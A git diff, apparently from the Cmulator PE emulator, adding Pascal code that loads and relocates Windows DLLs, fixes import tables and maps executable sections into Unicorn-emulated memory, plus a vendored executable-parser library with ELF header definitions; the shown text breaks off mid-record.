Writeln('[---------------------------------------]'); + Writeln('[ Fixing DLL Imports ]');Writeln(); + Writeln('[*] File Name : ',ExtractFileName(Img.FileName)); Writeln(); + end; + // Scan libraries. + for Lib in Img.Imports.Libs do + begin + Dll := ExtractFileNameWithoutExt(lib.Name) + '.dll'; + + if Emulator.PE_x64 then + Path := IncludeTrailingPathDelimiter(win64) + UnicodeString(LowerCase(Trim(Dll))) + else + Path := IncludeTrailingPathDelimiter(win32) + UnicodeString(LowerCase(Trim(Dll))); + + if not FileExists(Path) then + begin + Writeln('"',Dll,'" not found !'); + Writeln(); + halt(-1); + end; + // If library not loaded then load it . + if not Emulator.Libs.ContainsKey(LowerCase(Dll)) then + begin + if VerboseEx then + begin + Writeln(); + Writeln('[>] ',ExtractFileName(Img.FileName),' Import : ', Dll,#10); + end; + if not load_sys_dll(uc,LowerCase(Dll)) then + begin + Writeln('Error While Loading Lib : ',Dll); + halt(-1); + end; + end; + + rva := DllBase + Lib.IatRva; + if not Emulator.Libs.TryGetValue(LowerCase(Dll),SysDll) then + begin + Writeln('<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>'); + Writeln(Format('>>>> Error %s import table has %s , but not Loaded In Cmulator <<<<',[img.FileName,Dll])); + Writeln('<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>'); + halt(-1); + end; + + for Fn in Lib.Functions do + begin + if Fn.Name <> '' then + begin + if SysDll.FnByName.TryGetValue(Fn.Name,HookFn) then + begin + FuncAddr := HookFn.VAddress; + end; + end + else + begin + if SysDll.FnByOrdinal.TryGetValue(Fn.Ordinal,HookFn) then + begin + FuncAddr := HookFn.VAddress; + end; + end; + + if VerboseExx then + begin + write(' '); // indent + writeln(format('%s : Real rva: 0x%-8x - New : 0x%-8x', + [IfThen(fn.Name <> '',fn.Name,('#'+IntToStr(Fn.Ordinal))),rva,FuncAddr])); + end; + + err := uc_mem_write_(uc,rva,@FuncAddr,Img.ImageWordSize); + if err <> UC_ERR_OK then + begin + Writeln('Func Name : ', Fn.Name); + Writeln('Error While Write Fn RVA , err : ',uc_strerror(err)); + halt(-1); + end; + + inc(rva, Img.ImageWordSize); + end; + inc(rva, Img.ImageWordSize); // null + end; + if VerboseEx then + Writeln('[---------------------------------------]'#10); +end; + +procedure InitDll(uc : uc_engine; lib : TNewDll); +var + r_esp : UInt64; +begin + if (lib.EntryPoint <> 0) and (not lib.Dllname.StartsWith('ntdll')) then + begin + + r_esp := ((Emulator.stack_base + Emulator.stack_size) - $100); // initial stack Pointer . + uc_reg_write(uc, UC_X86_REG_ESP, @r_esp); // + //TDllEntryProc = function(hinstDLL: HINST; fdwReason: DWORD; lpReserved: Pointer): BOOL; stdcall; + Utils.push(0); // lpReserved + Utils.push(1); // fdwReason + Utils.push(lib.BaseAddress); // HINST + Utils.push($DEADC0DE); // our custom return address so we can stop the execution . + + if VerboseExx then + begin + Writeln(); + TextColor(LightMagenta); + Writeln(Format('Call %s Entry : %x',[lib.Dllname,lib.EntryPoint])); + NormVideo; + end; + + if not VerboseExx then // if not VerboseExx don't show stuff :D . + Emulator.RunOnDll := True; + uc_emu_start(uc,lib.EntryPoint,lib.ImageSize,0,0); + Emulator.RunOnDll := False; + end; +end; + +procedure Init_dlls(); +var + lib : TNewDll; +begin + TextColor(LightMagenta); + Writeln(Format('Initiating %d Libraries ...',[Emulator.Libs.Count])); + NormVideo; + for lib in Emulator.Libs.Values do + begin + InitDll(Emulator.uc,lib); + end; +end; + +function load_sys_dll(uc : uc_engine; Dll : string) : boolean; +var + img: TPEImage; + sym: TPEExportSym; + Reloc: TReloc; + VAddr, DLL_BASE, Delta, pDst , ptmp : UInt64; + Path : UnicodeString; + FLibrary : TMemoryStream; + err : uc_err; + ByAddr : TFastHashMap<UInt64, TLibFunction>; + ByOrdinal : TFastHashMap<UInt64, TLibFunction>; + ByName : TFastHashMap<String, TLibFunction>; + FName, LibName , FWName : string; + tmpAPI : TLibFunction; + tmpLib : TNewDll; + IsOrdinal : Boolean; + ret : Pointer; +begin + + FLibrary := nil; + Result := false; + Delta := 0; + + Dll := LowerCase(ExtractFileNameWithoutExt(Dll) + '.dll'); + + if Emulator.Libs.ContainsKey(Trim(Dll)) then + Exit(True); + + if Emulator.PE_x64 then + Path := IncludeTrailingPathDelimiter(win64) + UnicodeString(LowerCase(Trim(Dll))) + else + Path := IncludeTrailingPathDelimiter(win32) + UnicodeString(LowerCase(Trim(Dll))); + + + if FileExists(Path) then + begin + ret := AllocMem(UC_PAGE_SIZE); + FillByte(ret^,UC_PAGE_SIZE,$C3); + + LibName := Trim(Dll); + + img := TPEImage.Create; + try + // Read image and parse exports only. + if not img.LoadFromFile(string(path)) then + begin + writeln('Failed to load Library : ', LibName); + exit; + end; + if not img.IsDLL then + begin + Writeln(Format('%s is not a DLL ... :( !',[LibName])); + exit; + end; + if VerboseEx then + begin + Writeln('[---------------------------------------]'); + Writeln('[ Mapping Library Exports ]'); + writeln(format('[*] Lib Name : %s',[LibName])); + writeln(format('[*] Image Base : %x',[img.ImageBase])); + Writeln(Format('[*] Image Size : %x',[img.SizeOfImage])); + Writeln(Format('[*] Loaded at : %x - End at %x',[Align(Emulator.DLL_NEXT_LOAD,UC_PAGE_SIZE*2),Emulator.DLL_NEXT_LOAD + img.SizeOfImage])); + Writeln(Format('[*] BaseOfCode : %x',[img.ImageBase + img.OptionalHeader.BaseOfCode])); + Writeln(Format('[*] SizeOfCode : %x',[img.OptionalHeader.SizeOfCode])); + Writeln('[---------------------------------------]'#10); + end; + + + FLibrary := MapToMemory(img); + if (FLibrary.Memory = nil) or (FLibrary.Size <= 0) then + begin + Writeln('Can''t Alloc Memory For : ',LibName); + halt(-1); + end; + DLL_BASE := Align(Emulator.DLL_NEXT_LOAD,UC_PAGE_SIZE); + + err := uc_mem_map(uc,DLL_BASE,img.SizeOfImage,UC_PROT_ALL); + if err <> UC_ERR_OK then + begin + FreeAndNil(FLibrary); + Writeln('Lib : ',LibName); + Writeln('Error While Map the new lib base , err : ',uc_strerror(err)); + halt(-1); + end; + err := uc_mem_write_(uc,DLL_BASE,FLibrary.Memory,img.SizeOfImage); + if err <> UC_ERR_OK then + begin + FreeAndNil(FLibrary); + Writeln('Lib : ',LibName); + Writeln('Error While Write the new lib base , err : ',uc_strerror(err)); + halt(-1); + end; + FreeAndNil(FLibrary); // TODO: use uc_mem_map_ptr ... for multithreading . + + + //================================================================// + // Relocations . uncomment after implement apisetschema Forwarder // + Delta := DLL_BASE - img.ImageBase; + if Delta <> 0 then + begin + for Reloc in img.Relocs.Items do + begin + case Reloc.&Type of + IMAGE_REL_BASED_ABSOLUTE:; // Skip .. + IMAGE_REL_BASED_HIGHLOW, + IMAGE_REL_BASED_DIR64: + begin + pDst := DLL_BASE + Reloc.RVA; + ptmp := 0; + err := uc_mem_read_(uc,pDst,@ptmp,img.ImageWordSize); + ptmp += Delta; + err := uc_mem_write_(uc,pDst,@ptmp,img.ImageWordSize); + end; + else + raise Exception.CreateFmt('Unsupported relocation type: %d', [Reloc.&Type]); + end; + end; + end; + inc(Emulator.DLL_NEXT_LOAD, img.SizeOfImage); + + //================================================================// + HOOK_LIB := (HOOK_BASE + (HOOK_INDEX * UC_PAGE_SIZE)); + HOOK_Fn := HOOK_LIB; + err := uc_mem_map(uc,HOOK_LIB,UC_PAGE_SIZE,UC_PROT_ALL); + if err <> UC_ERR_OK then + begin + FreeAndNil(FLibrary); + Writeln('Lib : ',LibName); + Writeln('Error While Map the Hook Base for lib base , err : ',uc_strerror(err)); + halt(-1); + end; + err := uc_mem_write_(uc,HOOK_LIB,ret,UC_PAGE_SIZE); + if err <> UC_ERR_OK then + begin + FreeAndNil(FLibrary); + Writeln('Lib : ',LibName); + Writeln('Error While Write the new Hook Base for lib , err : ',uc_strerror(err)); + halt(-1); + end; + //================================================================// + + ByAddr := TFastHashMap<UInt64, TLibFunction>.Create(); + ByOrdinal := TFastHashMap<UInt64, TLibFunction>.Create(); + ByName := TFastHashMap<String, TLibFunction>.Create(); + + for sym in img.ExportSyms.Items do + begin + if (sym.IsValid) then + begin + + VAddr := (DLL_BASE + sym.RVA); + FName := sym.Name; + + IsOrdinal := FName.IsEmpty; + // has ordinal but no name .. + if FName.IsEmpty then + begin + FName := IntToStr(sym.Ordinal); + end; + // API is Forwarded .. + FWName := ''; + if sym.Forwarder then + begin + FWName := sym.ForwarderName; + VAddr := HOOK_Fn; + inc(HOOK_Fn,img.ImageWordSize); + end; + + // (ByAddr.ContainsKey(VAddr) cuz some function has same Addr like . + { + VA: $7DDF9909; RVA: $99909; ord: $171; name: "GetBinaryType"; + VA: $7DDF9909; RVA: $99909; ord: $172; name: "GetBinaryTypeA"; + --------------------------------------------------------------------- + VA: $7DD60000; RVA: $0; ord: $2; name: "InterlockedPushListSList"; fwd: "NTDLL.RtlInterlockedPushListSList" + this one is Forwarded . + } + if ByAddr.ContainsKey(VAddr) then + begin + VAddr := HOOK_Fn; + inc(HOOK_Fn,img.ImageWordSize); + end; + + ByAddr.Add(VAddr,TLibFunction.Create(LibName,sym.Name,VAddr,sym.Ordinal,nil, + sym.Forwarder,IsOrdinal,FWName)); + + ByOrdinal.Add(sym.Ordinal,TLibFunction.Create(LibName,sym.Name,VAddr,sym.Ordinal,nil, + sym.Forwarder,IsOrdinal,FWName)); + + ByName.Add(FName,TLibFunction.Create(LibName,sym.Name,VAddr,sym.Ordinal,nil, + sym.Forwarder,IsOrdinal,FWName)); + + //if VerboseExx then + //begin + // writeln(format('Export VA: $%x; RVA: $%x; ord: $%x; name: "%s"; fwd: "%s"', + // [VAddr, sym.RVA, sym.Ordinal, sym.Name, sym.ForwarderName])); + //end; + end; + end; + Emulator.Libs.Add(LibName,TNewDll.Create((DLL_BASE + img.EntryPointRVA),LibName,DLL_BASE,img.SizeOfImage,ByAddr,ByOrdinal,ByName)); + finally + inc(Emulator.DLL_NEXT_LOAD, img.SizeOfImage); + inc(HOOK_INDEX); + + // TODO: implement apisetschema Forwarder . + FixDllImports(uc,img,DLL_BASE); + img.Free; + end; + if ret <> nil then + Freemem(ret,UC_PAGE_SIZE); + end + else + begin + Writeln(Format('Library %s not found !',[Dll])); Writeln(); + halt(-1); + end; + + Result := true; +end; + +procedure HookImports(uc : uc_engine; Img: TPEImage); +var + SysDll : TNewDll; + HookFn : TLibFunction; + Lib : TPEImportLibrary; + Fn : TPEImportFunction; + rva , FuncAddr : TRVA; + index : Integer; + err : uc_err; + ret : Pointer; + path : UnicodeString; + Dll : string; +begin + index := 0; ret := nil; FuncAddr := 0; + + Writeln('[---------------------------------------]'); + Writeln('[ Fixing PE Imports ]'); Writeln(); + Writeln('[*] File Name : ',ExtractFileName(Img.FileName)); Writeln(); + // Scan libraries. + for Lib in Img.Imports.Libs do + begin + Dll := ExtractFileNameWithoutExt(lib.Name) + '.dll'; + if Emulator.PE_x64 then + Path := IncludeTrailingPathDelimiter(win64) + UnicodeString(LowerCase(Trim(Dll))) + else + Path := IncludeTrailingPathDelimiter(win32) + UnicodeString(LowerCase(Trim(Dll))); + + if not FileExists(Path) then + begin + Writeln('"',Dll,'" not found !'); + halt(-1); + end; + // If library not loaded then load it . + if not Emulator.Libs.ContainsKey(LowerCase(Dll)) then + begin + if Verbose then + begin + Writeln(); + Writeln('[>] ',ExtractFileName(Img.FileName),' Import Loading : ', Dll); + end; + if not load_sys_dll(uc,LowerCase(Dll)) then + begin + Writeln('Error While Loading Lib : ',Dll); + halt(-1); + end; + end; + + + if not Emulator.Libs.TryGetValue(LowerCase(Dll),SysDll) then + begin + Writeln('<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>'); + Writeln(Format('>>>> Error %s import table has %s , but not Loaded In Cmulator <<<<',[img.FileName,Dll])); + Writeln('<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>'); + halt(-1); + end; + + rva := Img.ImageBase + Lib.IatRva; + + for Fn in Lib.Functions do + begin + if Fn.Name <> '' then + begin + if SysDll.FnByName.TryGetValue(Fn.Name,HookFn) then + begin + FuncAddr := HookFn.VAddress; + end; + end + else + begin + if SysDll.FnByOrdinal.TryGetValue(Fn.Ordinal,HookFn) then + begin + FuncAddr := HookFn.VAddress; + end; + end; + + if Verbose then + begin + Writeln(Format('%s',[IfThen(fn.Name <> '',fn.Name,('#'+IntToStr(Fn.Ordinal)))])); + write(' '); // indent + writeln(format('Real rva: 0x%-8x - New : 0x%-8x',[rva,FuncAddr])); + end; + + err := uc_mem_write_(uc,rva,@FuncAddr,Img.ImageWordSize); + if err <> UC_ERR_OK then + begin + Writeln('Func Name : ', Fn.Name); + Writeln('Error While Write Fn RVA , err : ',uc_strerror(err)); + halt(-1); + end; + + inc(rva, Img.ImageWordSize); + end; + end; + Writeln('[---------------------------------------]'#10); +end; + +function MapToMemory(PE : TPEImage) : TMemoryStream; +var + tmp : TMemoryStream; + Offset : UInt64; + i : Integer; + sec : TPESection; +begin + Result := TMemoryStream.Create; + tmp := TMemoryStream.Create; + try + Offset := PE.ImageBase; + Result.Position := 0; + tmp.Position := 0; + if PE.SaveToStream(tmp) then + begin + tmp.Position := 0; // set it back to 0 . + + Result.WriteBuffer(tmp.Memory^,PE.OptionalHeader.SizeOfHeaders); + Offset += PE.OptionalHeader.SizeOfHeaders; + + if VerboseEx then + begin + Writeln('[---------------------------------------]'); + Writeln('[ Start Mapping ]'); + Writeln('[*] File Name : ' , ExtractFileName(PE.FileName)); + Writeln('[*] File Size : ', tmp.Size, ' Byte'); + Writeln('[*] Image Base : ', hexStr(PE.ImageBase,16)); + Writeln('[*] Address Of Entry : ', hexStr(PE.EntryPointRVA,16)); + Writeln('[*] Size Of Headers : ', hexStr(PE.OptionalHeader.SizeOfHeaders,16)); + Writeln('[*] Size Of Image : ', hexStr(PE.SizeOfImage,16)); + end; + + for sec in PE.Sections do + begin + + + + while (Offset < (sec.RVA + PE.ImageBase )) do + begin + Result.WriteByte(0); + Offset += 1; + end; + + sec.SaveDataToStream(Result); + Offset += sec.RawSize; + + while (Offset < (sec.RVA + sec.VirtualSize + PE.ImageBase)) do + begin + Result.WriteByte(0); + Offset += 1; + end; + end; + + while ((Offset - PE.ImageBase) < PE.SizeOfImage) do + begin + Result.WriteByte(0); + Offset += 1; + end; + if VerboseEx then + begin + Writeln('[+] File mapping completed √'); + Writeln('[---------------------------------------]'#10); + end; + end; + finally + tmp.free + end; +end; + +function SectionAlignment( img : TPEImage; sec : TPESection ): UInt32; +var + sec_align , file_align : UInt32; +begin + sec_align := img.OptionalHeader.SectionAlignment; + file_align := img.OptionalHeader.FileAlignment; + + if sec_align < $1000 then // page_size . + sec_align := file_align; + + if (sec_align and sec.RVA mod sec_align) = 1 then + Exit(sec_align * (sec.RVA div sec_align)); + + Result := sec.RVA; +end; + +function FileAlignment(img : TPEImage; sec : TPESection): UInt32; +begin + if img.OptionalHeader.FileAlignment < $200 then + Exit(sec.RawOffset); + Result := (sec.RawOffset div $200) * $200; +end; + +procedure HookImports_Pse(uc : uc_engine; Img : TPEImage; FilePath : string); +var + SysDll : TNewDll; + HookFn : TLibFunction; + imp: TPseImport; + api: TPseApi; + FuncAddr,rva : TRVA; + err : uc_err; + path : UnicodeString; + Dll : string; + PseFile: TPseFile; +begin + TPseFile.RegisterFile(TPsePeFile); + PseFile := TPseFile.GetInstance(FilePath, false); + + FuncAddr := 0; + + Writeln('[---------------------------------------]'); + Writeln('[ Fixing PE Imports ]'); Writeln(); + Writeln('[*] File Name : ',ExtractFileName(FilePath)); + Writeln('[*] Import ',PseFile.ImportTable.Count ,' Dlls'); Writeln(); + + // Scan libraries. + for imp in PseFile.ImportTable do + begin + Dll := ExtractFileNameWithoutExt(imp.DllName) + '.dll'; + + Writeln('[+] Fix IAT for : ',Dll); + + if Emulator.PE_x64 then + Path := IncludeTrailingPathDelimiter(win64) + UnicodeString(LowerCase(Trim(Dll))) + else + Path := IncludeTrailingPathDelimiter(win32) + UnicodeString(LowerCase(Trim(Dll))); + + if not FileExists(Path) then + begin + Writeln('"',Dll,'" not found !'); + halt(-1); + end; + // If library not loaded then load it . + if not Emulator.Libs.ContainsKey(LowerCase(Dll)) then + begin + if not load_sys_dll(uc,LowerCase(Dll)) then + begin + Writeln('Error While Loading Lib : ',Dll); + halt(-1); + end; + end; + + if not Emulator.Libs.TryGetValue(LowerCase(Dll),SysDll) then + begin + Writeln('<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>'); + Writeln(Format('>>>> Error %s import table has %s , but not Loaded In Cmulator <<<<',[img.FileName,Dll])); + Writeln('<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>'); + halt(-1); + end; + + rva := imp.IatRva + Img.ImageBase; + for api in imp do + begin + if api.Name <> '' then + begin + if SysDll.FnByName.TryGetValue(api.Name,HookFn) then + begin + FuncAddr := HookFn.VAddress; + end; + end + else + begin + if SysDll.FnByOrdinal.TryGetValue(api.Hint,HookFn) then + begin + FuncAddr := HookFn.VAddress; + end; + end; + + if Verbose then + begin + Writeln(Format(' %s',[IfThen(api.Name <> '',api.Name,('#'+IntToStr(api.Hint)))])); + write(' '); // indent + writeln(format('Real rva: 0x%-8x - New : 0x%-8x',[rva - Img.ImageBase,FuncAddr])); + end; + + err := uc_mem_write_(uc,rva,@FuncAddr,Img.ImageWordSize); + if err <> UC_ERR_OK then + begin + Writeln('Func Name : ', api.Name); + Writeln('Error While Write Fn RVA , err : ',uc_strerror(err)); + halt(-1); + end; + inc(rva, Img.ImageWordSize); + end; + Writeln(); + end; + Writeln('[---------------------------------------]'); + Writeln(); +end; + +function MapToPEMemory(var PE : TPEImage; Image : TMemoryStream; max_virtualAddr : UInt64 = $10000000) : TMemoryStream; +var + i, Size : Integer; + sec : TPESection; + padding_len : Integer; + virtualAddr_adj : DWORD; +begin + Result := TMemoryStream.Create; + + Result.Position := 0; + Image.Position := 0; + Image.SaveToStream(Result); + + if Result.Size = Image.Size then + begin + Result.Position := Result.Size; + + if VerboseEx then + begin + Writeln('[---------------------------------------]'); + Writeln('[ Start Mapping ]'); + Writeln('[*] File Name : ' , ExtractFileName(PE.FileName)); + Writeln('[*] File Size : ', Image.Size, ' Byte'); + Writeln('[*] Image Base : ', hexStr(PE.ImageBase,16)); + Writeln('[*] Address Of Entry : ', hexStr(PE.EntryPointRVA,16)); + Writeln('[*] Size Of Headers : ', hexStr(PE.OptionalHeader.SizeOfHeaders,16)); + Writeln('[*] Size Of Image : ', hexStr(PE.SizeOfImage,16)); + end; + + Size := Result.Size; // init size .. + + for sec in PE.Sections do + begin + + if (sec.VirtualSize = 0) and (sec.RawSize = 0) then + Continue; + + if sec.RawSize > Image.Size then + Continue; + + if FileAlignment(PE,sec) > Image.Size then + Continue; + + virtualAddr_adj := SectionAlignment(PE,sec); + + if virtualAddr_adj >= max_virtualAddr then + begin + Continue; + end; + + padding_len := virtualAddr_adj - Size; + + if padding_len > 0 then + begin + for i := 0 to Pred(padding_len) do + begin + Result.WriteByte(0); + end; + end + else + if padding_len < 0 then + begin + Result.Position := Result.Size + padding_len; + if Result.Position < 0 then + Writeln('this is plaaaa <><><><><><><><<><><>>>><<<>>>'); + end; + Size += padding_len; + + Size += sec.RawSize; + sec.SaveDataToStream(Result); + end; + //Result.SaveToFile('./samples/netwire_mapped.exe'); + //halt(0); + + if VerboseEx then + begin + Writeln('[+] File mapping completed √'); + Writeln('[---------------------------------------]'#10); + end; + end; +end; + +function MapPE(Img: TPEImage; Path : String) : TMemoryStream; +var + Image : TMemoryStream; +begin + Result := nil; + Image := TMemoryStream.Create; + Image.LoadFromFile(path); + //Result := MapToMemory(Img); // maybe will add it as second method :D . + Result := MapToPEMemory(Img,Image); + FreeAndNil(Image); +end; + +initialization + HOOK_BASE := $30000; + HOOK_INDEX := 0; + +end. + diff --git a/Core/pesp/.gitignore b/Core/pesp/.gitignore new file mode 100644 index 0000000..0fa68b5 --- /dev/null +++ b/Core/pesp/.gitignore @@ -0,0 +1,31 @@ +*.dcu +*.a +*.o +*.rst +*.lps +*.~*~ +*.local +*.log +*.identcache +__history +doc +test +fpc +*.drc +*.map +*.exe +*.dll +*.sys +bin/* +*.o +*.obj +*.ppu +*.bak +*.compiled +Win32 +Win64 +*.vlb +*.tvsconfig +*.zip +bpl +dist diff --git a/Core/pesp/LICENSE b/Core/pesp/LICENSE new file mode 100644 index 0000000..e30707c --- /dev/null +++ b/Core/pesp/LICENSE @@ -0,0 +1,27 @@ +Copyright (c) 2015, sa +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +* Neither the name of the developer(s) nor the names of its + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + diff --git a/Core/pesp/PseCmn.pas b/Core/pesp/PseCmn.pas new file mode 100644 index 0000000..67f77b1 --- /dev/null +++ b/Core/pesp/PseCmn.pas @@ -0,0 +1,58 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseCmn; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +const + MAXBYTE = 255; + MAXWORD = 65535; + +type + TPseBitness = (psebUnknown, pseb16, pseb32, pseb64); + + TPseArch = ( + pseaARM, + pseaARM64, + pseaMIPS, + pseaX86, + pseaPPC, + pseaSPARC, + pseaSysZ, + pseaXCore, + pseaUnknown + ); + + TPseMode = set of ( + psemLittleEndian, + psemARM, + psem16, + psem32, + psem64, + psemThumb, + psemMClass, + psemV8, + psemMicro, + psemMips3, + psemMips3R6, + psemMipsGP64, + psemV9, + psemBigEndian + ); + +const + BITNESS_STRING: array[TPseBitness] of string = ('Unknown', '16', '32', '64'); + ARCH_STRING: array[TPseArch] of string = ('ARM', 'ARM64', 'MIPS', 'x86', 'PowerPC', + 'SPARC', 'SystemZ', 'XCore', 'Unknown'); + +implementation + +end. diff --git a/Core/pesp/PseDebugInfo.pas b/Core/pesp/PseDebugInfo.pas new file mode 100644 index 0000000..7db3c4b --- /dev/null +++ b/Core/pesp/PseDebugInfo.pas @@ -0,0 +1,111 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseDebugInfo; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils, Classes, + {$ifdef FPC} + fgl + {$else} + Generics.Collections + {$endif} + ; + +type + TDebugInfoItem = record + Segment: Word; + Offset: UInt64; + FileName: string; + LineNum: UInt64; + Name: string; + end; + PDebugInfoItem = ^TDebugInfoItem; + + TDebugInfoDict = {$ifdef FPC}TFPGMap{$else}TDictionary{$endif}<UInt64, TDebugInfoItem>; + TSegments = {$ifdef FPC}TFPGMap{$else}TDictionary{$endif}<Word, TDebugInfoDict>; + + TPseDebugInfo = class + private + FSegments: TSegments; + function GetSegmentDict(const ASeg: Word): TDebugInfoDict; + function GetIsEmpty: boolean; + public + constructor Create; + destructor Destroy; override; + + procedure Add(ADi: TDebugInfoItem); + + property IsEmpty: Boolean read GetIsEmpty; + property SegmentDi[const ASeg: Word]: TDebugInfoDict read GetSegmentDict; + end; + +implementation + +constructor TPseDebugInfo.Create; +begin + inherited Create; + FSegments := TSegments.Create; +end; + +destructor TPseDebugInfo.Destroy; +begin + FSegments.Clear; + FSegments.Free; + inherited; +end; + +function TPseDebugInfo.GetSegmentDict(const ASeg: Word): TDebugInfoDict; +{$ifdef FPC} +var + index: integer; +{$endif} +begin +{$ifdef FPC} + if (FSegments.Find(ASeg, index)) then begin + Result := FSegments.Data[index]; + Exit; + end; +{$else} + if FSegments.ContainsKey(ASeg) then begin + if FSegments.TryGetValue(ASeg, Result) then + Exit; + end; +{$endif} + Result := TDebugInfoDict.Create; + FSegments.Add(ASeg, Result); +end; + +function TPseDebugInfo.GetIsEmpty: boolean; +begin + Result := FSegments.Count = 0; +end; + +procedure TPseDebugInfo.Add(ADi: TDebugInfoItem); +var + dict: TDebugInfoDict; +{$ifdef FPC} + index: integer; +{$endif} +begin + dict := GetSegmentDict(ADi.Segment); +{$ifdef FPC} + if (not FSegments.Find(ADi.Offset, index)) then begin + dict.Add(ADi.Offset, ADi); + end; +{$else} + if not dict.ContainsKey(ADi.Offset) then + dict.Add(ADi.Offset, ADi); +{$endif} +end; + +end. diff --git a/Core/pesp/PseElf.pas b/Core/pesp/PseElf.pas new file mode 100644 index 0000000..00d5e7d --- /dev/null +++ b/Core/pesp/PseElf.pas @@ -0,0 +1,380 @@ +{ + Pascal Executable Parser + + by sa, 2014,2015 +} + +unit PseElf; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} + +interface + +uses + SysUtils; + +const + // e_ident[] Identification Indexes + EI_MAG0 = 0; // File identification + EI_MAG1 = 1; // File identification + EI_MAG2 = 2; // File identification + EI_MAG3 = 3; // File identification + EI_CLASS = 4; // File class + EI_DATA = 5; // Data encoding + EI_VERSION = 6; // File version + EI_PAD = 7; // Start of padding bytes + EI_NIDENT = 16; // SizeOf(e_ident) + + // e_type + ET_NONE = 0; //No file type + ET_REL = 1; //Relocatable file + ET_EXEC = 2; //Executable file + ET_DYN = 3; //Shared object file + ET_CORE = 4; //Core file + ET_LOPROC = $ff00; //Processor-specific + ET_HIPROC = $ffff; //Processor-specific + + // e_machine + EM_NONE = $00; // No machine + EM_M32 = $01; // AT&T WE 32100 + EM_SPARC = $02; // SPARC + EM_386 = $03; // x86 + EM_68K = $04; // Motorola 68000 + EM_88K = $05; // Motorola 88000 + EM_860 = $07; // Intel 80860 + EM_MIPS = $08; // MIPS RS3000 + EM_PPC = $14; // PowerPC + EM_ARM = $28; // ARM + EM_SUPERH = $2A; // SuperH + EM_IA64 = $32; // IA-64 + EM_X86_64 = $3E; // x86-64 + EM_AARCH64 = $7B; // AArch64 (ARM-64) + + // EI_CLASS + ELFCLASSNONE = 0; // Invalid class + ELFCLASS32 = 1; // 32-bit objects + ELFCLASS64 = 2; // 64-bit objects + + // EI_DATA + ELFDATANONE = 0; // Invalid data encoding + ELFDATA2LSB = 1; // Little Endian + ELFDATA2MSB = 2; // Big Endian + + // Special Section Indexes + SHN_UNDEF = 0; + SHN_LORESERVE = $ff00; + SHN_LOPROC = $ff00; + SHN_HIPROC = $ff1f; + SHN_ABS = $fff1; + SHN_COMMON = $fff2; + SHN_HIRESERVE = $ffff; + + // sh_type + SHT_NULL = 0; + SHT_PROGBITS = 1; + SHT_SYMTAB = 2; + SHT_STRTAB = 3; + SHT_RELA = 4; + SHT_HASH = 5; + SHT_DYNAMIC = 6; + SHT_NOTE = 7; + SHT_NOBITS = 8; + SHT_REL = 9; + SHT_SHLIB = 10; + SHT_DYNSYM = 11; + SHT_NUM = 12; + SHT_LOPROC = $70000000; + SHT_HIPROC = $7fffffff; + SHT_LOUSER = $80000000; + SHT_HIUSER = $ffffffff; + + // sh_flags + SHF_WRITE = $1; // The section contains data that should be writable during process execution. + SHF_ALLOC = $2; // The section occupies memory during process execution. Some control sections do + // not reside in the memory image of an object file; this attribute is off for those sections. + SHF_EXECINSTR = $4; // The section contains executable machine instructions. + SHF_MASKPROC = $f0000000; // All bits included in this mask are reserved for processor-specific semantics. + +type + Elf32_Addr = Cardinal; + Elf32_Half = Word; + Elf32_Off = Cardinal; + Elf32_Sword = Integer; + Elf32_Word = Cardinal; + Elf32_Section = Word; + + Elf64_Addr = UInt64; + Elf64_Off = UInt64; + Elf64_Word = Cardinal; + Elf64_Xword = UInt64; + Elf64_Section = Word; + + // 32 Bit file header + Elf32_Ehdr = record + e_ident: array[0..EI_NIDENT-1] of Byte; + e_type: Elf32_Half; + e_machine: Elf32_Half; + e_version: Elf32_Word; + e_entry: Elf32_Addr; + e_phoff: Elf32_Off; + e_shoff: Elf32_Off; + e_flags: Elf32_Word; + e_ehsize: Elf32_Half; + e_phentsize: Elf32_Half; + e_phnum: Elf32_Half; + e_shentsize: Elf32_Half; + e_shnum: Elf32_Half; + e_shstrndx: Elf32_Half; + end; + TElf32Header = Elf32_Ehdr; + + // 64 Bit file header + Elf64_Ehdr = record + e_ident: array[0..EI_NIDENT-1] of Byte; + e_type: Elf32_Half; // This member identifies the object file type. + e_machine: Elf32_Half; // This members value specifies the required architecture for an individual file. + e_version: Elf32_Word; + e_entry: Elf64_Addr; // This member gives the virtual address to which the system first transfers control, thus + // starting the process. If the file has no associated entry point, this member holds zero. + e_phoff: Elf64_Off; // This member holds the program header tables file offset in bytes. If the file has no + // program header table, this member holds zero. + e_shoff: Elf64_Off; + e_flags: Elf32_Word; + e_ehsize: Elf32_Half; + 